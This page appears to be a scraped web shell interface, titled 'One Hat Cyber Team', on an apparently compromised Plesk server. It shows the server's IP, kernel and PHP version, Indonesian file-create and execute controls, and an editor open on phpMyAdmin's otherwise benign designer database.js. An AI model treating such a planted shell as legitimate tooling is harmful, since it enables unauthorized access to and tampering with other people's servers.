⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
local
/
psa
/
phpMyAdmin
/
js
/
src
/
designer
/
Edit File: database.js
var designerTables = [ { name: 'pdf_pages', key: 'pgNr', autoIncrement: true }, { name: 'table_coords', key: 'id', autoIncrement: true } ]; // eslint-disable-next-line no-unused-vars var DesignerOfflineDB = (function () { var designerDB = {}; /** * @type {IDBDatabase|null} */ var datastore = null; /** * @param {String} table * @return {IDBTransaction} */ designerDB.getTransaction = function (table) { return datastore.transaction([table], 'readwrite'); }; /** * @param {String} table * @return {IDBObjectStore} */ designerDB.getObjectStore = function (table) { var transaction = designerDB.getTransaction(table); var objStore = transaction.objectStore(table); return objStore; }; /** * @param {IDBTransaction} transaction * @param {String} table * @return {IDBObjectStore} */ designerDB.getCursorRequest = function (transaction, table) { var objStore = transaction.objectStore(table); var keyRange = IDBKeyRange.lowerBound(0); var cursorRequest = objStore.openCursor(keyRange); return cursorRequest; }; /** * @param {Function} callback * @return {void} */ designerDB.open = function (callback) { var version = 1; var request = window.indexedDB.open('pma_designer', version); request.onupgradeneeded = function (e) { var db = e.target.result; e.target.transaction.onerror = designerDB.onerror; var t; for (t in designerTables) { if (db.objectStoreNames.contains(designerTables[t].name)) { db.deleteObjectStore(designerTables[t].name); } } for (t in designerTables) { db.createObjectStore(designerTables[t].name, { keyPath: designerTables[t].key, autoIncrement: designerTables[t].autoIncrement }); } }; request.onsuccess = function (e) { datastore = e.target.result; if (typeof callback === 'function') { callback(true); } }; request.onerror = function () { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); }; }; /** * @param {String} table * @param {String} id * @param {Function} callback * @return {void} */ designerDB.loadObject = function (table, id, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var objStore = designerDB.getObjectStore(table); var cursorRequest = objStore.get(parseInt(id)); cursorRequest.onsuccess = function (e) { callback(e.target.result); }; cursorRequest.onerror = designerDB.onerror; }; /** * @param {String} table * @param {Function} callback * @return {void} */ designerDB.loadAllObjects = function (table, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var transaction = designerDB.getTransaction(table); var cursorRequest = designerDB.getCursorRequest(transaction, table); var results = []; transaction.oncomplete = function () { callback(results); }; cursorRequest.onsuccess = function (e) { var result = e.target.result; if (Boolean(result) === false) { return; } results.push(result.value); result.continue(); }; cursorRequest.onerror = designerDB.onerror; }; /** * @param {String} table * @param {Function} callback * @return {void} */ designerDB.loadFirstObject = function (table, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var transaction = designerDB.getTransaction(table); var cursorRequest = designerDB.getCursorRequest(transaction, table); var firstResult = null; transaction.oncomplete = function () { callback(firstResult); }; cursorRequest.onsuccess = function (e) { var result = e.target.result; if (Boolean(result) === false) { return; } firstResult = result.value; }; cursorRequest.onerror = designerDB.onerror; }; /** * @param {String} table * @param {Object} obj * @param {Function} callback * @return {void} */ designerDB.addObject = function (table, obj, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var objStore = designerDB.getObjectStore(table); var request = objStore.put(obj); request.onsuccess = function (e) { if (typeof callback === 'function') { callback(e.currentTarget.result); } }; request.onerror = designerDB.onerror; }; /** * @param {String} table * @param {String} id * @param {Function} callback * @return {void} */ designerDB.deleteObject = function (table, id, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var objStore = designerDB.getObjectStore(table); var request = objStore.delete(parseInt(id)); request.onsuccess = function () { if (typeof callback === 'function') { callback(true); } }; request.onerror = designerDB.onerror; }; /** * @param {Error} e * @return {void} */ designerDB.onerror = function (e) { // eslint-disable-next-line no-console console.log(e); }; // Export the designerDB object. return designerDB; }());
Simpan